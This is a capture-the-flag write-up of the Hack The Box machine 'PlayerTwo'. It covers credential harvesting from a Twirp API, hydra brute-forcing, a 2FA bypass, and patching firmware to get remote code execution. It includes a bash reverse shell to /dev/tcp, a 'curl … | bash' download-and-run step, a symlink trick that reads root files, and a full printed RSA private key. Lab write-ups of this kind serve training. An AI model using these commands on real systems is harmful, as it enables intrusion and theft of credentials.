This page looks best with JavaScript enabled

PlayerTwo

 ·  ☕ 14 min read  ·  ✍️ M4t35Z

Box Information

Name Playertwo
IP 10.10.10.170
OS Linux
Points Insane(50)

Recon

nmap(fast)
nmap(big)

PORT SERVICE VERSION
22 ssh OpenSSH 7.6p1
80 http Apache httpd 2.4.29
8545 http ?

Web - TCP 80

I couldn’t access the page from ip :/

web\_ip

  • btw this is an image :D

MrR3boot@player2.htb

I added player2.htb to /etc/hosts:

10.10.10.170 player2.htb

web\_domain

Directory/File fuzzing

$ gobuster dir -u http://player2.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://player2.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/30 11:06:50 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/assets (Status: 301)
/images (Status: 301)
/index (Status: 200)
/index.php (Status: 200)
/mail (Status: 200)
/proto (Status: 301)
/server-status (Status: 403)
/src (Status: 301)
/vendor (Status: 301)
===============================================================
2020/06/30 11:07:13 Finished
===============================================================
  • Nothing interesting (/mail redirects to /index, others are forbidden)

Subdomain fuzzing

I used wfuzz for subdomain enumeration with a common wordlist from the seclists repo.

$ wfuzz -c -u 'http://10.10.10.170' -H 'Host: FUZZ.player2.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hl 3

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.170/
Total requests: 114532

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000690:   400        12 L     53 W     442 Ch      "gc._msdcs"
000002882:   200        235 L    532 W    5063 Ch     "product"
000009543:   400        12 L     53 W     442 Ch      "#www"
000010595:   400        12 L     53 W     442 Ch      "#mail"
000011512:   200        3 L      14 W     102 Ch      "i67"                      ^C
Finishing pending requests...
  • There is an interesting one product!

I added product.player2.htb to my /etc/hosts file:

10.10.10.170 player2.htb product.player2.htb

product.player2.htb - TCP 80

loginpage

  • This is a login form!

I tried to log in with asd:asd:

invalid\_creds

  • It’s just an alert window.

If I click Ok it redirects to the login page.

Directory/File fuzzing

$ gobuster dir -u 'http://product.player2.htb' -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://product.player2.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/30 11:28:11 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/api (Status: 301)
/assets (Status: 301)
/conn (Status: 200)
/home (Status: 302)
/images (Status: 301)
/index.php (Status: 200)
/index (Status: 200)
/mail (Status: 200)
/server-status (Status: 403)
===============================================================
2020/06/30 11:28:34 Finished
===============================================================
  • There is a /api (apis are always interesting)!

I also fuzzed the api with several wordlists and directory-list-1.0.txt returned /totp which could be interesting.

$ gobuster dir -u http://product.player2.htb/api -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt 
=============================================================== 
Gobuster v3.0.1 
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) 
=============================================================== 
[+] Url:            http://product.player2.htb/api 
[+] Threads:        10 
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt 
[+] Status codes:   200,204,301,302,307,401,403 
[+] User Agent:     gobuster/3.0.1 
[+] Timeout:        10s 
=============================================================== 
2020/06/30 17:33:09 Starting gobuster 
=============================================================== 
/totp (Status: 200) 
Progress: 22141 / 141709 (15.62%)^C 
[!] Keyboard interrupt detected, terminating. 
=============================================================== 
2020/06/30 17:35:48 Finished 
=============================================================== 

I ran curl on this but I didn’t get much.

$ curl http://product.player2.htb/api/totp
{"error":"Cannot GET \/"}

$ curl -X POST http://product.player2.htb/api/totp
{"error":"Invalid Session"}

TCP 8545

I used curl and python’s json.tool in order to pretify the json output.

$ curl http://10.10.10.170:8545 | python3 -m json.tool
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    95    0    95    0     0   1055      0 --:--:-- --:--:-- --:--:--  1067
{
    "code": "bad_route",
    "msg": "no handler for path \"/\"",
    "meta": {
        "twirp_invalid_route": "GET /"
    }
}
  • This is some api

I searched for twirp and found its github page github.com/twitchtv/twirp. It’s twitch’s product btw.

Here is the official docs for twirp: twitchtv.github.io/twirp/docs/intro.html

Here is an example proto file: github.com/twitchtv/twirp/blob/master/example/service.proto

  • I have to search for a .proto file on the box.

Fuzzing the .proto file

I used gobuster on player2.htb/proto in order to discover all .proto files in the proto directory.

$ gobuster dir -u 'http://player2.htb/proto' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x proto 
=============================================================== 
Gobuster v3.0.1 
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) 
=============================================================== 
[+] Url:            http://player2.htb/proto 
[+] Threads:        10 
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 
[+] Status codes:   200,204,301,302,307,401,403 
[+] User Agent:     gobuster/3.0.1 
[+] Extensions:     proto 
[+] Timeout:        10s 
=============================================================== 
2020/06/30 12:03:45 Starting gobuster 
=============================================================== 
[ERROR] 2020/06/30 12:10:50 [!] Get http://player2.htb/proto/medien: net/http: request canceled (Client.Timeout exceeded while awaiting headers) 
/generated.proto (Status: 200) 
Progress: 52222 / 220561 (23.68%)^C 
[!] Keyboard interrupt detected, terminating. 
=============================================================== 
2020/06/30 12:16:18 Finished 
=============================================================== 

Let’s see what’s inside :D

$ curl http://player2.htb/proto/generated.proto 
syntax = "proto3"; 
package twirp.player2.auth; 
option go_package = "auth"; 
service Auth { 
  rpc GenCreds(Number) returns (Creds); 
} 
message Number { 
  int32 count = 1; // must be > 0 
} 
message Creds { 
  int32 count = 1; 
  string name = 2; 
  string pass = 3; 
} 

According to the docs a req looks like this:

curl --request "POST" \
     --location "http://localhost:8080/twirp/twirp.example.haberdasher.Haberdasher/MakeHat" \
     --header "Content-Type:application/json" \
     --data '{"inches": 10}' \
     --verbose

And if I look up the example .proto file req is like:

curl --request "POST" \
     --location "http://<host>:<port>/twirp/<package>.<service>/<rpc>" \
     --header "Content-Type:application/json" \
     --data '{"<key>": <value>}' \
     --verbose

So I have everything that I need from the generated.proto file.

host player2.htb
port 8545
package twirp.player2.auth
service Auth
rpc GenCreds
key Number
value 1

Getting the creds

My command:

curl --request "POST" \
     --location "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" \
     --header "Content-Type:application/json" \
     --data '{"Number": 1}' \
     --verbose

And it returns:

Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.10.170:8545...
* TCP_NODELAY set
* Connected to player2.htb (10.10.10.170) port 8545 (#0)
> POST /twirp/twirp.player2.auth.Auth/GenCreds HTTP/1.1
> Host: player2.htb:8545
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Type:application/json
> Content-Length: 13
>
* upload completely sent off: 13 out of 13 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Host: player2.htb:8545
< Date: Tue, 30 Jun 2020 10:50:25 GMT
< Connection: close
< X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1
< Content-Type: application/json
<
* Closing connection 0
{"name":"snowscan","pass":"XHq7_WJTA?QD_?E2"}

There are the creds in the response!

I ran this curl command again and I got different results.

{"name":"jkr","pass":"ze+EKe-SGF^5uZQX"}

There are some passwords and usernames. But they are randomly changing.

I created an sh script to send this req 100 times and return the unique responses and store them in a file.

getcreds.sh:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/bin/sh

i=0

while [ $i -le 100 ]; do
    curl -s --request "POST" \
         --location "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" \
         --header "Content-Type:application/json" \
         --data '{"Number": 1}'
    echo
    i=$((i+1))
done | sort -u | tee files/creds.lst | wc -l

I ran it with sh getcreds.sh and there is the creds.lst file which is 16 lines long btw.

creds\_poc

creds.lst:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
{"name":"0xdf","pass":"Lp-+Q8umLW5*7qkc"}
{"name":"0xdf","pass":"tR@dQnwnZEk95*6#"}
{"name":"0xdf","pass":"XHq7_WJTA?QD_?E2"}
{"name":"0xdf","pass":"ze+EKe-SGF^5uZQX"}
{"name":"jkr","pass":"Lp-+Q8umLW5*7qkc"}
{"name":"jkr","pass":"tR@dQnwnZEk95*6#"}
{"name":"jkr","pass":"XHq7_WJTA?QD_?E2"}
{"name":"jkr","pass":"ze+EKe-SGF^5uZQX"}
{"name":"mprox","pass":"Lp-+Q8umLW5*7qkc"}
{"name":"mprox","pass":"tR@dQnwnZEk95*6#"}
{"name":"mprox","pass":"XHq7_WJTA?QD_?E2"}
{"name":"mprox","pass":"ze+EKe-SGF^5uZQX"}
{"name":"snowscan","pass":"Lp-+Q8umLW5*7qkc"}
{"name":"snowscan","pass":"tR@dQnwnZEk95*6#"}
{"name":"snowscan","pass":"XHq7_WJTA?QD_?E2"}
{"name":"snowscan","pass":"ze+EKe-SGF^5uZQX"}

I made a user.lst and a pws.lst file from these creds.

$ jq -r .name files/creds.lst | sort -u > files/users.lst
$ jq -r .pass files/creds.lst | sort -u > files/pws.lst

And the contents are:

users.lst

0xdf
jkr
mprox
snowscan

pws.lst

Lp-+Q8umLW5*7qkc
tR@dQnwnZEk95*6#
XHq7_WJTA?QD_?E2
ze+EKe-SGF^5uZQX

Shell as www-data

Bruting ssh (nope)

I tried to brute ssh with the creds I had + hydra.

$ hydra -L files/users.lst -P files/pws.lst ssh://player2.htb
  • but no valid passwords found :(

Web login

http://product.player2.htb/ was the target.

login\_req

  • I caught the request in order to know the exact parameter names used on the login form.

  • It’s a POST request

  • Username parameter is username

  • Password parameter is password

  • Submit creds parameter is Submit and the value is Sign+in

  • Failure string is alert

I used hydra there too to brute the web login page

$ hydra -L files/users.lst -P files/pws.lst product.player2.htb http-post-form "/:username=^USER^&password=^PASS^&Submit=Sign+in:alert" 

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. 
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-30 13:50:25 
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task 
[DATA] attacking http-post-form://product.player2.htb:80/:username=^USER^&password=^PASS^&Submit=Sign+in:alert 
[80][http-post-form] host: product.player2.htb   login: mprox   password: tR@dQnwnZEk95*6# 
[80][http-post-form] host: product.player2.htb   login: 0xdf   password: XHq7_WJTA?QD_?E2 
1 of 1 target successfully completed, 2 valid passwords found 
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-30 13:50:27 
  • 2 of the creds are valid!
USERNAME PASSWORD
mprox tR@dQnwnZEk95*6#
0xdf XHq7_WJTA?QD_?E2

I tried to log in with but it also needed 2FA to be able to log in.

login\_2fa

  • I gave it 1234567890 and hit submit. I got the alertbox again.

Okay.. Let’s catch the request in burp :D

login\_2fa\_referer

  • There is a referer header in the request product.player2.htb/totp! But it redirects to / (the login page)
  • I’ve already found an api endpoint on product.player2.htb/api/totp!

2FA OTP backup keys

$ curl http://product.player2.htb/api/totp
{"error":"Cannot GET \/"}
  • It’s not a GET request

I tried with POST:

$ curl -X POST http://product.player2.htb/api/totp
{"error":"Invalid Session"}
  • Other error!
  • This means POST is good but it needs a valid session cookie to be set.

I logged in with the credentials of user mprox and copied the (Session) cookie.

cookie

Now, I tried to supply this cookie to curl:

$ curl -X POST http://product.player2.htb/api/totp -H 'Cookie: PHPSESSID=cleq78lkur6iprqqv1llu5cgep'
{"error":"Invalid action"}
  • Another different error!

It mentions invalid action so I gave it a post parameter named action:

$ curl -X POST http://product.player2.htb/api/totp -H 'Cookie: PHPSESSID=cleq78lkur6iprqqv1llu5cgep' -d '{ "action" : 123 }'
{"error":"Missing parameters"}
  • Different error again so I’m on the good track!

It mentions missing parameters so I changed the action key’s value from 123 to "asd"

  • Same error

Maybe some fuzzing could help.

$ wfuzz -u http://product.player2.htb/api/totp -H 'Cookie: PHPSESSID=cleq78lkur6iprqqv1llu5cgep' -d '{ "action" : FUZZ }' -w /usr/share/seclists/Discovery/Web-Content/common.txt --hw 2

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://product.player2.htb/api/totp
Total requests: 4652

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000077:   200        0 L      1 W      40 Ch       "0"
000004181:   200        0 L      1 W      40 Ch       "true"

Total time: 38.47468
Processed Requests: 4652
Filtered Requests: 4650
Requests/sec.: 120.9106
  • The errors were all 2 words so I filtered them with --hw 2 and I got 0 and true.

If I feed 0 or true as the action parameters value to curl I get the user’s 2FA code!

$ curl -X POST http://product.player2.htb/api/totp -H 'Cookie: PHPSESSID=cleq78lkur6iprqqv1llu5cgep' -d '{ "action" : 0 }'
{"user":"mprox","code":"87685768223422"}

I supplied the code and I got logged in!

logged\_in

Protobs enum

Website

If you scroll down you can see a link to the Documentation

product.player2.htb/protobs.pdf local copy: protobs.pdf

docslink

protobs.pdf

It mentions how the uploaded firmware got checked by their system.

fwdocs\_signing

And there are 2 links in the bottom!

linksindocs

fwuploader

If I upload the original firmware I got this response:

default\_resp

<script>alert("Verifying signature of the firmware")</script><script>alert("It looks legit. Proceeding for provision test");</script><script>alert("All checks passed. Firmware is ready for deployment.");window.location="/protobs/";</script>
If I upload some other file I got this:

png\_resp

  • Internal server error
If I upload a random tar file I get this:

Firstly, I created a tar file:

$ echo "AYYYYOOOOO" > asd.txt
$ tar -cvf asd.tar asd.txt

random\_tar\_resp

<script>alert("Verifying signature of the firmware")</script><script>alert("Signature check failed. Stopping provision tests.");window.location="/protobs/";</script>

Analyzing the firmware

I downloaded the original firmware and extracted it with tar.

$ tar -xvf protobs_firmware_v1.0.tar
info.txt
Protobs.bin
version

info.txt:

© Playe2 2019. All rights reserved.

This firmware package consists of files which are distributed under different license terms, in particular under Player2 proprietary license or under any Open Source License (namely GNU General Public License, GNU Lesser General Public License or FreeBSD License). The source code of those files distributed as Open Source are available on written request to mrr3boot@player2.htb.

Under all Player2 intellectual property rights, Player2 grants the non-exclusive right to personally use this Protobs firmware package which is delivered in object code format only. Licensee shall olny be entitled to make a copy exclusively reserved for personal backup purposes (backup copy). Player2 reserves all intellectual property rights except as expressly granted herein. Without the prior written approval of Player2 and except to the extent as may be expressly authorised under mandatory law, this Protobs firmware package in particular
- shall not be copied, distributed or otherwise made publicly available
- shall not be modified, disassembled, reverse engineered, decompiled or otherwise "be opened" in whole or in part, and insofar shall not be copied, distributed or otherwise made publicly available.

version:

FIRMWAREVERSION=122.01.14,,703021,

Protobs.bin:

I used file and binwalk to identify the filetype.

$ file Protobs.bin
Protobs.bin: data
  • hmm no luck

Let’s try with binwalk:

$ binwalk Protobs.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64            0x40            ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
  • It contains an ELF from the 64th byte!

I also checked it with xxd.

$ xxd Protobs.bin | head
00000000: 5641 7eb5 877e 1ef4 b1ea a18b c792 d494  VA~..~..........
00000010: 1c9c b8b3 1145 e0b7 30da 24d3 4799 19f3  .....E..0.$.G...
00000020: fbf2 5574 d1b1 3c53 b262 68f3 eb2a 49c5  ..Ut..<S.bh..*I.
00000030: 1b24 fe33 f51a fa3e b6b4 b905 610b cb03  .$.3...>....a...
00000040: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000050: 0200 3e00 0100 0000 f010 4000 0000 0000  ..>.......@.....
00000060: 4000 0000 0000 0000 303c 0000 0000 0000  @.......0<......
00000070: 0000 0000 4000 3800 0b00 4000 1c00 1b00  ....@.8...@.....
00000080: 0600 0000 0400 0000 4000 0000 0000 0000  ........@.......
00000090: 4000 4000 0000 0000 4000 4000 0000 0000  @.@.....@.@.....
  • As binwalk said the elf starts at 0x40 hex which is 64 dec.
Extracting the 2 parts of the .bin

I used dd to extract the elf and the header file from Protobs.bin

$ dd if=Protobs.bin of=firmware.elf skip=64 bs=1
$ dd if=Protobs.bin of=firmware.header count=64 bs=1

And If I run file on the extracted elf I get the proper output:

$ file firmware.elf
firmware.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=82adae308a0023a272e626bbe83d97b2b9c630f6,
for GNU/Linux 3.2.0, not stripped
Let’s see what’s inside

I piped the output of xxd to vim.

$ xxd Protobs.bin | vim -

There are commands inside the elf part!

commands

stty raw -echo min 0 time 10
stty sane

Upload the repacked firmware

I just use tar to repack the files into 1 archive.

$ tar zcf original.tar info.txt Protobs.bin version

repacked\_resp

  • Still good

Pimping the firmware to get an RCE

Maybe I can just replace the command with a revshell to get access to the box.

I used hexeditor in order to change the inside of the Protobs.bin file.

$ hexeditor Protobs.bin
  • I searched for stty by hitting <ctrl>+w
  • I hit tab to go to the ascii editor part(right side)

And then I replaced the stty command with ping -c 1 10.10.14.133 and I filled the space with some junk ; echo "ayyyyyy".

pimped\_bin

I hit <ctrl>+x to save and exit.

I packed the file with tar:

$ tar zcf pimped.tar info.txt Protobs.bin version

And I uploaded it. While I was listening on tun0 with tcpdump for icmp packages(ping).

$ sudo tcpdump -i tun0 icmp

pimped\_resp

  • It’s legit!

And when I went back to my terminal I saw the ping!

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
20:35:58.194477 IP player2.htb > 10.10.14.133: ICMP echo request, id 40292, seq 1, length 64
20:35:58.194544 IP 10.10.14.133 > player2.htb: ICMP echo reply, id 40292, seq 1, length 64

pinged

Getting a revshell

I have a limited space to get the revshell so I made a rev.sh file on my local drive and I started hosting it with python -m http.server 80.

1
2
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.133/443 0>&1

I modified the Protobs.bin file’s command to curl 10.10.14.133/rev.sh | bash

curlrev

I packed the tar:

$ tar zcf pimped.tar info.txt Protobs.bin version

And uploaded it while I shared the directory where the rev.sh was and I listened on port 443 for a connection with sudo nc -lvnp 443

revshell\_www-data

  • I got a reverse shell as www-data!

Privilege Escalation from www-data

I upgraded my shell to a tty and set the TERM envvar in order to get a proper working shell.

$ python -c 'import pty;pty.spawn("/bin/bash")'
$ export TERM=xterm

I ran linpeas to find the possible privesc vectors.

Interesting lines

Processes:

mosquit+   1137  0.0  0.2  48024  5792 ?        S    04:40   0:19 /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf
root      36450  0.0  0.2  24864  5028 ?        S    16:21   0:00 mosquitto_sub -v -t $SYS/#
www-data  33601  0.0  0.2  24864  5040 ?        S    14:58   0:01 mosquitto_sub -v -t $SYS/#

Ports:

tcp        0      0 127.0.0.1:1883          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:1883          127.0.0.1:35244         ESTABLISHED -
tcp        0      0 127.0.0.1:58488         127.0.0.1:1883          ESTABLISHED 33601/mosquitto_sub
tcp        0      0 127.0.0.1:35244         127.0.0.1:1883          ESTABLISHED -
tcp        0      0 127.0.0.1:1883          127.0.0.1:58488         ESTABLISHED -

Users:

1
2
3
egre55:x:1001:1001::/home/egre55:/bin/sh
observer:x:1000:1000:observer:/home/observer:/bin/bash
root:x:0:0:root:/root:/bin/bash

Mosquitto.conf:

Found readable /etc/init/mosquitto.conf
description "Mosquitto MQTT broker"
start on net-device-up
respawn
exec /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf
Found readable /etc/mosquitto/mosquitto.conf
pid_file /var/run/mosquitto.pid
persistence true
persistence_location /var/lib/mosquitto/
log_dest file /var/log/mosquitto/mosquitto.log
bind_address 127.0.0.1
include_dir /etc/mosquitto/conf.d

Exploiting mosquitto

I found mosquitto_sub’s man page and there is an example line on how to subscribe to all broker status messages.

mosquitto_sub -v -t \$SYS/#

I just added an ip(localhost) and the port(1883).

mosquitto_sub -v -t '$SYS/#' -h 127.0.0.1 -p 1883
  • I waited some time and it printed out a private ssh key.

sshkey

id_rsa:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA7Gc/OjpFFvefFrbuO64wF8sNMy+/7miymSZsEI+y4pQyEUBA
R0JyfLk8f0SoriYk0clR/JmY+4mK0s7+FtPcmsvYgReiqmgESc/brt3hDGBuVUr4
et8twwy77KkjypPy4yB0ecQhXgtJNEcEFUj9DrOq70b3HKlfu4WzGwMpOsAAdeFT
+kXUsGy+Cp9rp3gS3qZ2UGUMsqcxCcKhn92azjFoZFMCP8g4bBXUgGp4CmFOtdvz
SM29st5P4Wqn0bHxupZ0ht8g30TJd7FNYRcQ7/wGzjvJzVBywCxirkhPnv8sQmdE
+UAakPZsfw16u5dDbz9JElNbBTvwO9chpYIs0QIDAQABAoIBAA5uqzSB1C/3xBWd
62NnWfZJ5i9mzd/fMnAZIWXNcA1XIMte0c3H57dnk6LtbSLcn0jTcpbqRaWtmvUN
wANiwcgNg9U1vS+MFB7xeqbtUszvoizA2/ScZW3P/DURimbWq3BkTdgVOjhElh6D
62LlRtW78EaVXYa5bGfFXM7cXYsBibg1+HOLon3Lrq42j1qTJHH/oDbZzAHTo6IO
91TvZVnms2fGYTdATIestpIRkfKr7lPkIAPsU7AeI5iAi1442Xv1NvGG5WPhNTFC
gw4R0V+96fOtYrqDaLiBeJTMRYp/eqYHXg4wyF9ZEfRhFFOrbLUHtUIvkFI0Ya/Y
QACn17UCgYEA/eI6xY4GwKxV1CvghL+aYBmqpD84FPXLzyEoofxctQwcLyqc5k5f
llga+8yZZyeWB/rWmOLSmT/41Z0j6an0bLPe0l9okX4j8WOSmO6TisD4WiFjdAos
JqiQej4Jch4fTJGegctyaOwsIVvP+hKRvYIwO9CKsaAgOQySlxQBOwMCgYEA7l+3
JloRxnCYYv+eO94sNJWAxAYrcPKP6nhFc2ReZEyrPxTezbbUlpAHf+gVJNVdetMt
ioLhQPUNCb3mpaoP0mUtTmpmkcLbi3W25xXfgTiX8e6ZWUmw+6t2uknttjti97dP
QFwjZX6QPZu4ToNJczathY2+hREdxR5hR6WrJpsCgYEApmNIz0ZoiIepbHchGv8T
pp3Lpv9DuwDoBKSfo6HoBEOeiQ7ta0a8AKVXceTCOMfJ3Qr475PgH828QAtPiQj4
hvFPPCKJPqkj10TBw/a/vXUAjtlI+7ja/K8GmQblW+P/8UeSUVBLeBYoSeiJIkRf
PYsAH4NqEkV2OM1TmS3kLI8CgYBne7AD+0gKMOlG2Re1f88LCPg8oT0MrJDjxlDI
NoNv4YTaPtI21i9WKbLHyVYchnAtmS4FGqp1S6zcVM+jjb+OpBPWHgTnNIOg+Hpt
uaYs8AeupNl31LD7oMVLPDrxSLi/N5o1I4rOTfKKfGa31vD1DoCoIQ/brsGQyI6M
zxQNDwKBgQCBOLY8aLyv/Hi0l1Ve8Fur5bLQ4BwimY3TsJTFFwU4IDFQY78AczkK
/1i6dn3iKSmL75aVKgQ5pJHkPYiTWTRq2a/y8g/leCrvPDM19KB5Zr0Z1tCw5XCz
iZHQGq04r9PMTAFTmaQfMzDy1Hfo8kZ/2y5+2+lC7wIlFMyYze8n8g==
-----END RSA PRIVATE KEY-----

I loged into ssh as observer with the key I got

$ ssh -i files/id_rsa observer@player2.htb
  • I successfully logged in without any password
$ id
uid=1000(observer) gid=1000(observer) groups=1000(observer)

I also have access to user.txt:

$ cat /home/observer/user.txt
CDE09DC7E49C92C78ECAC1535E241251

Privilege Escalation from observer

Mosquitto runs as root and it prints observer’s ~/.ssh/id_rsa file so if I change it to a symbolic link of /root/root.txt I could get the root flag.

$ mv /home/observer/.ssh/id_rsa /home/observer/.ssh/id_rsa.bak
$ ln -s /root/root.txt /home/observer/.ssh/id_rsa
$ mosquitto_sub -t '$SYS/#' -h 127.0.0.1 -p 1883

After some time I got the root flag:

73DAEF0B9D5A1328C6B40460E2A7D8C5

rootflag

Share on
Support the author with

M4t35Z
WRITTEN BY
M4t35Z